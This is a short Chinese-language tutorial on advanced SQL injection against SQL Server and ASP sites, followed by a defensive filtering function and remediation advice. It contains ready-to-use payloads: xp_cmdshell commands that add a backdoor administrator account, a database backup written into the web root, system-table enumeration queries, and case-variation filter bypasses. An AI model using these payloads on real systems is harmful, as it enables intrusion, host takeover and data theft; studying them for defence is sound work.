入門技巧足以攻破多數防禦薄弱站點,但面對表名/欄位名難以猜測、關鍵字過濾、權限限制等情境,需掌握系統表資訊收集、編碼繞過、錯誤回顯效率優化等高階技術。本文深入解析 SQL Server 系統表利用、防禦繞過與實戰經驗總結。
SQL Server 緊密整合作業系統,提供豐富系統表與擴展預存程序,若連線帳號具 `sa` 權限,可直接掌控主機。
; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'; --
; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'; --
; BACKUP DATABASE [dbname] TO DISK='c:\inetpub\wwwroot\db.bak'; --
AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0)>0
AND (SELECT TOP 1 COL_NAME(OBJECT_ID('tablename'), 1) FROM sysobjects)>0
VBScript 不區分大小寫,過濾器常僅檢查單一大小寫。嘗試 `SelecT`、`uNiOn`、`wHeRe` 等變體。
Function SafeRequest(ParaName, ParaType)
' ParaType: 1=數值, 0=字串
Dim ParaValue
ParaValue = Request(ParaName)
If ParaType = 1 Then
If Not IsNumeric(ParaValue) Then
Response.Write "參數 " & ParaName & " 必須為數值型!"
Response.End
End If
Else
ParaValue = Replace(ParaValue, "'", "''")
End If
SafeRequest = ParaValue
End Function
所有 `Request.QueryString`、`Request.Form` 替換為 `SafeRequest("param", 1/0)`。根本解決之道:參數化查詢 (Command.Parameters) + 最小權限 DB 帳號 + 關閉詳細錯誤頁面。
高階注入核心在於「資訊收集自動化」(系統表) 與「語法變形繞過」(編碼/大小寫/字元重組)。防禦端必須從架構層面解決:參數化查詢、最小權限、錯誤訊息不外洩、WAF 規則更新,單一過濾函數僅為權宜之計。